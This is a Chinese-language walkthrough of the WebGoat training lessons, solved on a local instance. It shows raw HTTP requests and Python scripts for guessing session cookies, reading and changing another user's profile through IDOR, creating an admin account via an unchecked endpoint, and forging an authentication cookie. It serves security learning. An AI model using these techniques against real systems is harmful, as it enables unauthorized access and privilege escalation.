欢迎光临
我们一直在努力

WebGoat2026年版本(全10个模块另附其他模块)通关教程

事先说明大部分内容都是参考了他人的,原创部分含量不大,只是一个实操手册。

部署

环境:Java23,maven3.9.11

下载zip包解压,然后按readme操作

# 在webgoat文件夹下操作
./mvnw.cmd clean install
mvn install
./mvnw.cmd spring-boot:run

应该是起来了,访问 http://127.0.0.1:8080/WebGoat

点击注册,我用的账号密码是:

username

passwd

一、General

HTTP Basics(HTTP基础)

翻译:

本任务中的表单提交时,WebGoat使用的是哪种HTTP方法?是POST还是GET?你能找出那个神秘代码吗?

当前表单发送的是POST还是GET:

神秘代码是多少:

填个123提交,burpsuite抓包

可以看到是3。POST请求

HTTP Proxies(HTTP代理)

应该是这个POST请求,按照他的要求:

将请求方法改为GET

添加请求头:‘x-request-intercepted:true’

移除请求体,改为通过查询字符串参数发送’changeMe’,并将其值设置为’Requests are tampered easily’(不带单引号)

GET /WebGoat/HttpProxies/intercept-request?changeMe=Requests%20are%20tampered%20easily HTTP/1.1
Host: 127.0.0.1:8080
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/WebGoat/start.mvc?username=username
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=10FD5AD250706709942B70AF13257E82
Connection: keep-alive
x-request-intercepted: true

我不知道为什么burpsuite一直卡住?然后我就写了个py脚本访问的

import requests

url = "http://127.0.0.1:8080/WebGoat/HttpProxies/intercept-request"
params = {
"changeMe": "Requests are tampered easily"
}

headers = {
"Host": "127.0.0.1:8080",
"sec-ch-ua-platform": "Windows",
"Accept-Language": "zh-CN,zh;q=0.9",
"sec-ch-ua": '"Not?A_Brand";v="99", "Chromium";v="130"',
"sec-ch-ua-mobile": "?0",
"X-Requested-With": "XMLHttpRequest",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36",
"Accept": "*/*",
"Origin": "http://127.0.0.1:8080",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Dest": "empty",
"Referer": "http://127.0.0.1:8080/WebGoat/start.mvc?username=username",
"Accept-Encoding": "gzip, deflate, br",
"Cookie": "JSESSIONID=10FD5AD250706709942B70AF13257E82",
"Connection": "keep-alive",
"x-request-intercepted": "true"
}

try:
response = requests.get(
url,
params=params,
headers=headers
)

print("Response Status Code:", response.status_code)
print("Response Headers:", response.headers)
print("Response Body:", response.text)

except requests.exceptions.RequestException as e:
print("Request Failed:", e)

这里也显示完成了

Developer Tools(开发者工具)

看起来似乎是要f12用下console方法

得到返回

phone home said {"lessonCompleted":true,"feedback":"Congratulations. You have successfully completed the assignment.","feedbackArgs":null,"output":"phoneHome Response is -968435385","outputArgs":null,"assignment":"DOMCrossSiteScripting","attemptWasMade":true}

题目要求复制粘贴生成的随机数,那就是-968435385

继续下一个小题

翻译: 试一试!使用网络标签页

在本任务中,您需要找到一个特定的HTTP请求并读取随机生成的数字。首先点击第一个按钮,这将生成一个HTTP请求。尝试找到该特定HTTP请求,其中应包含一个字段:networkNum: 将随后显示的数字复制到下方的输入框中,然后点击提交按钮。

点击此按钮发送请求:

您找到的数字是:

先点一下这个go

得到数字 networkNum: 16.033544991998227,填入就好

CIA Triad(信息安全三要素)

翻译:

现在来做个小测验!请回答以下问题以检验你是否理解了这个主题。

如今,大多数系统都受到防火墙的保护。正确配置的防火墙可以防止恶意实体访问系统,并有助于保护组织资源。在这个测验中,假设有一个处理个人数据但未受防火墙保护的系统:

  • 入侵者可能如何破坏保密性这一安全目标?

    解决方案1:通过删除所有数据库

    解决方案2:通过窃取存储系统通用配置信息的数据库

    解决方案3:通过窃取存储姓名和邮箱的数据库并将其上传到网站

    解决方案4:保密性不可能被入侵者破坏

  • 入侵者可能如何破坏完整性这一安全目标?

    解决方案1:通过修改数据库中存储的一个或多个用户的姓名和邮箱

    解决方案2:通过监听进出网络的流量

    解决方案3:通过绕过用于管理数据库访问的身份验证机制

    解决方案4:完整性只有在入侵者物理接触数据库存储设备时才会被破坏

  • 入侵者可能如何破坏可用性这一安全目标?

    解决方案1:通过利用系统软件中的漏洞绕过数据库身份验证机制

    解决方案2:通过将包含敏感数据的邮件转发给其他人

    解决方案3:可用性只有通过拔掉存储设备的电源才能被破坏

    解决方案4:通过对服务器发起拒绝服务攻击

  • 如果至少有一个CIA安全目标受到损害会怎样?

    解决方案1:在所有目标都被破坏前,系统可被视为安全。仅破坏一个目标对系统安全没有影响

    解决方案2:即使只有一个目标受损,系统安全性也会被破坏

    解决方案3:当攻击者读取或更改数据时问题不大,至少部分数据仍可用,因此只有当可用性目标受损时系统安全才会受到威胁

    解决方案4:攻击者更改数据或使其不可用应该问题不大,但读取敏感数据不可容忍。只有当保密性受损时才会出现问题

  • 3142

    Writing new lesson(开发新模块)

    要填入param1和param2,看代码可以知道

    硬编码了值secr37Value,然后也只检测了param1,所以2填任意都无所谓

    二、(A1)Boken Access Control(访问控制)

    Hijack a session(劫持会话)

    先抓个包发过去看看,response里有了个参数:

    hijack_cookie=4122510949486803050-1756366871482

    再抓个包发去

    这次请求头里有了个刚才的参数

    hijack_cookie=4122510949486803051-1756429947875

    hijack_cookie=4122510949486803050-1756366871482(刚才)

    但是和刚才的值是不一样的,但是能发现前半部分值比后半部分多了1。(我隔了有点久才重发的,可能是会话刷新之后更新了这个值,因为我发现重复包的值都是一样的)

    删掉这个参数发完包后再抓,重复几次

    hijack_cookie=4122510949486803055-1756430600253

    hijack_cookie=4122510949486803057-1756430722912

    hijack_cookie=4122510949486803058-1756430773013

    hijack_cookie=4122510949486803060-1756430811215

    hijack_cookie=4122510949486803062-1756430854303

    看起来中间三组的规律比较好找。构造一个

    hijack_cookie=4122510949486803059-1756430773014

    放进去试试。

    嘿嘿。失败了。可能因为这组已经过去了?再抓几组,放进去一起比较下

    hijack_cookie=4122510949486803055-1756430600253

    hijack_cookie=4122510949486803057-1756430722912

    hijack_cookie=4122510949486803058-1756430773013

    hijack_cookie=4122510949486803060-1756430811215

    hijack_cookie=4122510949486803062-1756430854303

    hijack_cookie=4122510949486803063-1756431013378

    hijack_cookie=4122510949486803065-1756431039754

    hijack_cookie=4122510949486803066-1756431080911

    hijack_cookie=4122510949486803068-1756431109736

    hijack_cookie=4122510949486803070-1756431159853

    可以看到前半部分是在逐渐递增,+2,+1,+2,+2,+1,+2,+1,+2,+2。暂时看不出+1和+2的规律。但是后半部分很像时间戳。我现在再去抓个包看看后半部分的值

    hijack_cookie=4122510949486803071-1756431648909

    hijack_cookie=4122510949486803075-1756432128079

    果然后半部分就是时间戳,并且是到毫秒级别的。尝试写一下代码,

    前半部分就尝试4122510949486803076,然后后半部分使用当前的时间戳值。

    再试试4122510949486803077

    这个思路又是错的。也许不是猜下一个,还是得从过去的里找。发现4122510949486803069被跳过了,直接使用4122510949486803068对应的时间戳,就成功通过了。。可能是我把问题想得太复杂。。第一次尝试失败应该是因为我使用了自己构造的后半部分【看来这种情况还是直接取曾经有过的值就好

    Insecure Direct Object References(不安全的直接对象引用)

    翻译:

    许多访问控制漏洞容易受到已认证但未授权用户的攻击。因此,让我们先从合法认证开始,然后寻找绕过或滥用授权的方法。

    本例中的账户和密码是‘tom’和‘cat’(这本来就是个不安全的应用,对吧?)。

    认证完成后,继续进入下一界面。

    用他说的tom和cat进去

    翻译:

    应用安全攻防中的一个核心原则是:对比原始响应与可视化内容的差异。换句话说(正如您在客户端过滤课程中可能已经注意到的),原始响应中通常包含页面上未显示的数据。请查看以下配置文件并注意差异。

    在下方文本输入框中,列出服务器响应中包含但未在配置文件中显示的两个属性。

    先看下页面显示的:

    再抓包看一下,多了role和userID两个属性。

    翻译:

    我们正在研究的应用程序在个人资料方面似乎遵循RESTful模式。许多应用程序具有角色权限,高权限用户可以访问其他用户的内容。在这种情况下,仅使用/profile路径将无法实现,因为用户自身的会话/认证数据不会告知系统要查看哪个用户的资料。那么,您认为使用直接对象引用来显式查看自己个人资料的可能模式是什么?

    请输入用于查看自己个人资料的替代路径。请以’WebGoat/'开头(即忽略’http://localhost:8080/')

    前面的小题里,有userID这个属性。试试看2342384这个userID。构造

    WebGoat/IDOR/profile/2342384(在上一题的url后加上userID)

    成功了,继续

    翻译:

    探索模式玩法

    使用您之前查看自己资料时采用的替代路径来查看其他用户的资料。点击「查看资料」按钮并拦截/修改请求以查看他人资料。 Alternatively, 您也可以直接通过浏览器发起手动GET请求。

    编辑他人资料

    老旧应用可能遵循不同的模式,但RESTful应用(本例即属此类)通常仅通过改变请求方法(以及是否包含请求体)来实现不同功能。

    运用这个知识,基于相同的基础请求,修改其方法、路径和请求体(有效载荷)来更改其他用户(Buffalo Bill)的资料。将其角色权限降至更低(因为更高权限的角色和用户通常对应更小的数字值),同时将该用户的颜色改为「red」。

    先用tom的userID试一下,返回是这样。

    没有其他用户的信息,爆破一下userID

    因为原本的userID是2342384,所以设置了2342000-2343000爆破试试。(之前设置了1w和5w的范围,都找不出来,应该是burpsuite的问题,请求太多了)

    短的那个长度响应是

    长的那个响应码是500,过滤掉500

    找到userID值为2342388的用户是解。

    完整的返回是

    HTTP/1.1 200
    Content-Type: application/json
    Date: Fri, 29 Aug 2025 05:11:26 GMT
    Keep-Alive: timeout=60
    Connection: keep-alive
    Content-Length: 301

    {
    "lessonCompleted" : true,
    "feedback" : "Well done, you found someone else's profile",
    "feedbackArgs" : null,
    "output" : "{role=3, color=brown, size=large, name=Buffalo Bill, userId=2342388}",
    "outputArgs" : null,
    "assignment" : "IDORViewOtherProfile",
    "attemptWasMade" : true
    }

    第二小题的要求是更改Buffalo Bill的资料。将其角色值改的更低(因为更高权限的角色和用户通常对应更小的数字值),同时将该用户的颜色改为「red」。

    那么就得用put请求,name=Buffalo Bill不用改,role的值改成比3小,color改成red。

    原本的请求:

    GET /WebGoat/IDOR/profile/2342388 HTTP/1.1
    Host: 127.0.0.1:8080
    sec-ch-ua-platform: "Windows"
    Accept-Language: zh-CN,zh;q=0.9
    sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"
    sec-ch-ua-mobile: ?0
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
    Accept: */*
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1:8080/WebGoat/start.mvc?username=username
    Accept-Encoding: gzip, deflate, br
    Cookie: JSESSIONID=4910204A8925C1C2344E9556946C770E; hijack_cookie=4122510949486803075-1756432128079
    Connection: keep-alive

    修改后:

    PUT /WebGoat/IDOR/profile/2342388 HTTP/1.1
    Host: 127.0.0.1:8080
    sec-ch-ua-platform: "Windows"
    Accept-Language: zh-CN,zh;q=0.9
    sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"
    sec-ch-ua-mobile: ?0
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
    Accept: */*
    Content-Type: application/json; charset=UTF-8
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1:8080/WebGoat/start.mvc?username=username
    Accept-Encoding: gzip, deflate, br
    Cookie: JSESSIONID=4910204A8925C1C2344E9556946C770E; hijack_cookie=4122510949486803075-1756432128079
    Connection: keep-alive
    Content-Length: 201

    {
    "role": 1,
    "color": "red",
    "size": "large",
    "name": "Buffalo Bill",
    "userId": 2342388
    }

    Missing Function Level Access Control(缺失功能级访问控制)

    翻译:

    依赖隐蔽性

    开发者可能通过HTML、CSS或JavaScript来隐藏普通用户通常无法访问的链接。历史上曾出现过网络路由器尝试通过界面中的JavaScript代码来保护(隐藏)管理功能的案例:

    https://www.wired.com/2009/10/routers-still-vulnerable

    发现隐藏项

    通常可以通过以下途径发现界面未公开暴露的功能线索:

    HTML或JavaScript注释

    被注释掉的页面元素

    通过CSS控件/类隐藏的项

    任务要求

    在下述菜单中发现两个对攻击者/恶意用户具有利用价值的不可见菜单项,并提交这些菜单项的标签(当前菜单中暂无有效链接)。

    f12查看页面源码,发现隐藏菜单

    翻译:

    正如前文所述,有时应用程序会依赖客户端控件(通过隐蔽性)来管理访问权限。如果你能发现不可见的元素,不妨尝试操作它们并观察结果——有时候真的就这么简单!

    收集用户信息

    数据泄露通常源于SQL注入等漏洞,但也可能来自访问控制机制存在缺陷或缺失的情况。

    完成这个任务可能需要多个步骤和多次尝试:

    密切关注注释信息和泄露的数据线索

    过程中还需要进行一些推测

    可能需要在不同浏览器/账户间切换操作

    建议从已收集的信息入手(比如隐藏的菜单项),尝试获取用户列表,然后提供Jerry账户的’哈希值’。

    他的建议是从上一小题找到的Users和Config入手。

    这里提交按钮的url是http://127.0.0.1:8080/WebGoat/access-control/user-hash

    访问127.0.0.1:8080/WebGoat/access-control/users

    返回500

    在请求头里加上Content-Type: application/json这个参数

    得到

    [ {
    "username" : "Tom",
    "admin" : false,
    "userHash" : "Mydnhcy00j2b0m6SjmPz6PUxF9WIeO7tzm665GiZWCo="
    }, {
    "username" : "Jerry",
    "admin" : true,
    "userHash" : "SVtOlaa+ER+w2eoIIVE5/77umvhcsh5V8UyDLUa1Itg="
    }, {
    "username" : "Sylvester",
    "admin" : false,
    "userHash" : "B5zhk70ZfZluvQ4smRl4nqCvdOTggMZtKS3TtTqIed0="
    } ]

    填入Jerry的hash值

    翻译:

    公司已经修复了这个问题,对吧?

    公司发现端点的开放程度过高,他们紧急进行了修复,现在不管理员用户可以列出所有用户。

    从你已收集的信息(隐藏菜单项)开始,尝试拉取用户列表,然后提供Jerry账户的“哈希值”。

    提示:这项任务仅涉及对GET请求进行一项简单修改。

    那看来我要想办法把自己的账号提权到admin权限,或者是用有admin权限的账户去操作。

    尝试对之前的url进行一番改动,变成POST请求,并且携带上参数{“username”:“username”,“password”:“passwd”,“admin”:true}

    POST /WebGoat/access-control/users HTTP/1.1
    Host: 127.0.0.1:8080
    sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Accept-Language: zh-CN,zh;q=0.9
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Content-Type: application/json
    Accept-Encoding: gzip, deflate, br
    Cookie: JSESSIONID=4910204A8925C1C2344E9556946C770E; hijack_cookie=4122510949486803075-1756432128079
    Connection: keep-alive
    Content-Length: 56

    {"username":"username","password":"passwd","admin":true}

    不知道我有没有变成管理员权限呢。再尝试一下之前的get请求

    GET /WebGoat/access-control/users HTTP/1.1
    Host: 127.0.0.1:8080
    sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Accept-Language: zh-CN,zh;q=0.9
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Content-Type: application/json
    Accept-Encoding: gzip, deflate, br
    Cookie: JSESSIONID=4910204A8925C1C2344E9556946C770E; hijack_cookie=4122510949486803075-1756432128079
    Connection: keep-alive

    得到多了一个返回值

    [ {
    "username" : "Tom",
    "admin" : false,
    "userHash" : "Mydnhcy00j2b0m6SjmPz6PUxF9WIeO7tzm665GiZWCo="
    }, {
    "username" : "Jerry",
    "admin" : true,
    "userHash" : "SVtOlaa+ER+w2eoIIVE5/77umvhcsh5V8UyDLUa1Itg="
    }, {
    "username" : "Sylvester",
    "admin" : false,
    "userHash" : "B5zhk70ZfZluvQ4smRl4nqCvdOTggMZtKS3TtTqIed0="
    }, {
    "username" : "username",
    "admin" : true,
    "userHash" : "xAZxegZLtYoa7J4b0Jd2oGZxZ8gfgobOklFhNiGpX7I="
    } ]

    看起来我像变成管理员了。但是这里获得的Jerry的Hash值还是上个小题的,应该不算成功了,直接在把这题改成get请求发送,返回405,表示只接受POST请求。

    GET /WebGoat/access-control/user-hash-fix HTTP/1.1
    Host: 127.0.0.1:8080
    sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Accept-Language: zh-CN,zh;q=0.9
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Content-Type: application/json
    Accept-Encoding: gzip, deflate, br
    Cookie: JSESSIONID=4910204A8925C1C2344E9556946C770E; hijack_cookie=4122510949486803075-17564321280791756432128079
    Connection: keep-alive

    那就试着再在这里用POST请求,把刚才的参数{“username”:“username”,“password”:“passwd”,“admin”:true}传上去,返回500,说一定要传userhash上去,去看下源码算了。

    @PostMapping(
    path = {"access-control/users", "access-control/users-admin-fix"},
    consumes = "application/json",
    produces = "application/json")
    @ResponseBody
    public User addUser(@RequestBody User newUser) {
    // 没有权限检查
    userRepository.save(newUser);
    return newUser;
    }

    构造一个post请求,创建我这个用户的admin权限用户

    POST /WebGoat/access-control/users HTTP/1.1
    Host: 127.0.0.1:8080
    Content-Length: 74
    sec-ch-ua-platform: "Windows"
    Accept-Language: zh-CN,zh;q=0.9
    sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"
    sec-ch-ua-mobile: ?0
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
    Accept: application/json
    Content-Type: application/json
    Origin: http://127.0.0.1:8080
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1:8080/WebGoat/start.mvc?username=username
    Accept-Encoding: gzip, deflate, br
    Cookie: hijack_cookie=4122510949486803075-1756432128079; JSESSIONID=D765626D6F9ECF8A5A691D11BD00F456
    Connection: keep-alive

    {
    "username": "username",
    "password": "passwd",
    "admin": true
    }

    然后重新登陆下再去get用户列表。但是貌似登录用的不是同一张表,登进去也没有admin权限,get不到。查看源码,发现:

    @CurrentUsername 从当前session获取用户名

    然后在 access_control_users 表中查找这个用户名

    检查该用户是否为admin

    public ResponseEntity<List<DisplayUser>> usersFixed(@CurrentUsername String username) {
    var currentUser = userRepository.findByUsername(username);
    if (currentUser != null && currentUser.isAdmin()) {
    // 返回用户列表
    }
    return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
    }

    没问题啊。好像是burpsuite卡住了,我换成python脚本再去get下

    import requests

    def send_webgoat_request():
    """
    发送WebGoat访问控制用户admin-fix请求
    """
    url = "http://127.0.0.1:8080/WebGoat/access-control/users-admin-fix"

    headers = {
    "sec-ch-ua": '"Not?A_Brand";v="99", "Chromium";v="130"',
    "sec-ch-ua-mobile": "?0",
    "sec-ch-ua-platform": '"Windows"',
    "Accept-Language": "zh-CN,zh;q=0.9",
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Sec-Fetch-Site": "none",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-User": "?1",
    "Sec-Fetch-Dest": "document",
    "Accept-Encoding": "gzip, deflate, br",
    "Connection": "keep-alive",
    "Content-Type": "application/json",
    }

    cookies = {
    "JSESSIONID": "F32AD34C7F61890867D6A2B29ED0094C"
    }

    try:
    response = requests.get(url, headers=headers, cookies=cookies)

    print(f"状态码: {response.status_code}")
    print(f"响应头: {dict(response.headers)}")
    print(f"响应内容: {response.text}")

    return response

    except requests.exceptions.RequestException as e:
    print(f"请求失败: {e}")
    return None

    if __name__ == "__main__":
    send_webgoat_request()

    状态码: 200
    响应头: {'Content-Type': 'application/json', 'Transfer-Encoding': 'chunked', 'Date': 'Tue, 02 Sep 2025 08:41:26 GMT', 'Keep-Alive': 'timeout=60', 'Connection': 'keep-alive'}
    响应内容: [ {
    "username" : "Tom",
    "admin" : false,
    "userHash" : "RIbP+ltDVkKRPGe5qYGkVCjj/BtjNcryiYhlT+ejD/s="
    }, {
    "username" : "Jerry",
    "admin" : true,
    "userHash" : "d4T2ahJN4fWP83s9JdLISio7Auh4mWhFT1Q38S6OewM="
    }, {
    "username" : "Sylvester",
    "admin" : false,
    "userHash" : "iBy1RDvLrUMMpMJHjQsLm/5FLN07NnBtdlOFc845j+A="
    }, {
    "username" : "username",
    "admin" : true,
    "userHash" : "zFSXJdehuGu2XI2RWo+xG5ICyVYFbeO0pbaYIk1YPE8="
    }, {
    "username" : "adminuser",
    "admin" : true,
    "userHash" : "mfOOpKKRHj1g3GiiFddBw0MFk2pxpKfdttyn7On1Bh8="
    }, {
    "username" : "username",
    "admin" : true,
    "userHash" : "zFSXJdehuGu2XI2RWo+xG5ICyVYFbeO0pbaYIk1YPE8="
    }, {
    "username" : "username",
    "admin" : true,
    "userHash" : "zFSXJdehuGu2XI2RWo+xG5ICyVYFbeO0pbaYIk1YPE8="
    }, {
    "username" : "username",
    "admin" : true,
    "userHash" : "zFSXJdehuGu2XI2RWo+xG5ICyVYFbeO0pbaYIk1YPE8="
    }, {
    "username" : "username",
    "admin" : true,
    "userHash" : "trEeImjwny4El/gJjhxUUKyCEtFGjSfuDMslDD24c5g="
    }, {
    "username" : "username",
    "admin" : true,
    "userHash" : "zFSXJdehuGu2XI2RWo+xG5ICyVYFbeO0pbaYIk1YPE8="
    }, {
    "username" : "username",
    "admin" : true,
    "userHash" : "zFSXJdehuGu2XI2RWo+xG5ICyVYFbeO0pbaYIk1YPE8="
    }, {
    "username" : "username",
    "admin" : true,
    "userHash" : "zFSXJdehuGu2XI2RWo+xG5ICyVYFbeO0pbaYIk1YPE8="
    }, {
    "username" : "username",
    "admin" : true,
    "userHash" : "zFSXJdehuGu2XI2RWo+xG5ICyVYFbeO0pbaYIk1YPE8="
    }, {
    "username" : "username",
    "admin" : true,
    "userHash" : "zFSXJdehuGu2XI2RWo+xG5ICyVYFbeO0pbaYIk1YPE8="
    }, {
    "username" : "username",
    "admin" : true,
    "userHash" : "zFSXJdehuGu2XI2RWo+xG5ICyVYFbeO0pbaYIk1YPE8="
    }, {
    "username" : "username",
    "admin" : true,
    "userHash" : "zFSXJdehuGu2XI2RWo+xG5ICyVYFbeO0pbaYIk1YPE8="
    }, {
    "username" : "username",
    "admin" : true,
    "userHash" : "zFSXJdehuGu2XI2RWo+xG5ICyVYFbeO0pbaYIk1YPE8="
    }, {
    "username" : "username",
    "admin" : true,
    "userHash" : "zFSXJdehuGu2XI2RWo+xG5ICyVYFbeO0pbaYIk1YPE8="
    }, {
    "username" : "username",
    "admin" : true,
    "userHash" : "zFSXJdehuGu2XI2RWo+xG5ICyVYFbeO0pbaYIk1YPE8="
    }, {
    "username" : "username",
    "admin" : true,
    "userHash" : "zFSXJdehuGu2XI2RWo+xG5ICyVYFbeO0pbaYIk1YPE8="
    }, {
    "username" : "username",
    "admin" : true,
    "userHash" : "zFSXJdehuGu2XI2RWo+xG5ICyVYFbeO0pbaYIk1YPE8="
    } ]

    额,前面没成功不小心创太多了。没关系能get到新的值就好

    Spoofing an Authentication Cookie(伪造身份验证Coockie)

    翻译:

    尝试通过伪造身份验证Cookie来绕过身份验证机制。

    关于登录系统的说明

    当收到有效的身份验证Cookie时,系统将自动登录用户。如果未发送Cookie但提供的凭据正确,系统将生成身份验证Cookie。在任何其他情况下,登录尝试都将被拒绝。请密切关注攻击过程中收到的反馈信息。已知凭据:

    用户名 密码

    webgoat webgoat

    admin admin

    目标

    在清楚了解身份验证Cookie的生成方式后,尝试伪造Cookie并以Tom身份登录。

    用他给的账户来测试,发现生成的cookie都是固定的。

    webgoat spoof_auth=NDE3MzY2NjQ2MTU3NmU0ODcwNmQ3NDYxNmY2NzYyNjU3Nw==

    admin spoof_auth=NDE3MzY2NjQ2MTU3NmU0ODcwNmQ2ZTY5NmQ2NDYx

    前半部分都是相同的。

    有=符号,进行base64解码

    4173666461576e48706d74616f67626577

    4173666461576e48706d6e696d6461

    看着像是16进制的,16进制解码

    AsfdaWnHpmtaogbew

    AsfdaWnHpmnimda

    可以发现前半部分都是AsfdaWnHpm,后半部分是用户名或者密码倒过来。所以Tom的就该是AsfdaWnHpmmot,然后再加两层码,得到 4173666461576e48706d6d6f74 NDE3MzY2NjQ2MTU3NmU0ODcwNmQ2ZDZmNzQ=

    抓包,在Cookie里加上这参数和值,下面username和password填什么都无所谓

    三、(A2)Cryptographic Failures(加密机制失效)

    Crypto Basics(加密基础)

    翻译:

    加密基础

    Base64 编码

    编码实际上并不是真正的加密,但它在许多关于加密功能的加密标准中被广泛使用。特别是 Base64 编码。

    Base64 编码是一种将各种字节转换为特定字节范围的技术。这个特定的范围是可读的 ASCII 字符。这样你就可以更容易地传输二进制数据,比如密钥或私钥。你甚至可以打印这些数据或将其写下来。编码也是可逆的。因此,如果你有编码版本,你可以创建原始版本。

    在维基百科上可以找到更多详细信息。基本上,它遍历所有字节,并将每组 6 位转换为可读的字节(8 位)。结果是编码字节的大小增加了约 33%。

    基本认证

    基本认证有时被 Web 应用程序使用。这使用 base64 编码。因此,至少使用传输层安全(TLS)或更常见的 https 来保护其他人在发送到服务器时读取用户名和密码是很重要的。

    HTTP 标头将如下所示:

    现在假设你拦截了以下标头:

    那么用户名是__________,密码是__________。

    把他给的例子拿去base64解码:

    他问的也拿去解码,得到答案

    Other Encoding(其他编码)

    翻译:

    其他编码

    也使用了其他编码。

    URL 编码

    URL 编码在向服务器发送表单数据和请求参数时经常使用。由于 URL 中不允许有空格,因此会被替换为 %20。其他字符也会进行类似的替换。

    HTML 编码

    HTML 编码确保文本在浏览器中按原样显示,而不是被浏览器解释为 HTML。

    UUEncode

    Unix-2-Unix 编码已被用于发送电子邮件附件。

    XOR 编码

    有时编码被用作存储密码的简单混淆技术。例如,IBM WebSphere 应用服务器使用 XOR 编码的一种特定实现来存储配置文件中的密码。IBM 建议保护对这些文件的访问,并用您自己的自定义加密替换默认的 XOR 编码。然而,如果不遵循这些建议,这些默认设置可能会成为一个漏洞。

    作业

    现在让我们看看你是否能够从这个默认的 XOR 编码字符串中找出原始密码。

    写代码

    import requests
    import base64

    def xor_decode_ibm_websphere(encoded_string, key=None):
    """
    解码IBM WebSphere默认XOR编码的密码
    IBM WebSphere使用特定的XOR编码实现来存储配置文件中的密码
    """
    print("=== IBM WebSphere XOR解码 ===")
    print(f"输入字符串: {encoded_string}")

    try:
    # 首先进行Base64解码
    decoded_bytes = base64.b64decode(encoded_string)
    print(f"Base64解码结果 (bytes): {decoded_bytes}")
    print(f"Base64解码结果 (hex): {decoded_bytes.hex()}")

    # IBM WebSphere的默认XOR密钥通常是固定的
    # 常见的密钥包括: '_' (0x5F), 或者其他简单字符

    # 尝试常见的XOR密钥
    common_keys = [
    0x5F, # '_' 字符,IBM WebSphere常用
    0x01, # 简单的1
    0x02, # 简单的2
    0x20, # 空格字符
    0x00, # 空字符(虽然不太可能)
    ]

    results = []

    for key_byte in common_keys:
    try:
    # 对每个字节进行XOR操作
    decoded_password = ''.join([chr(b ^ key_byte) for b in decoded_bytes])

    # 检查结果是否为可打印字符
    if all(32 <= ord(c) <= 126 for c in decoded_password):
    results.append((key_byte, chr(key_byte), decoded_password))
    print(f"密钥 0x{key_byte:02X} ('{chr(key_byte) if 32 <= key_byte <= 126 else '?'}'): {decoded_password}")

    except (ValueError, UnicodeDecodeError):
    continue

    # 如果没有找到合适的结果,尝试更多可能的密钥
    if not results:
    print("\\n使用常见密钥未找到结果,尝试所有可能的单字节密钥…")

    for key_byte in range(256):
    try:
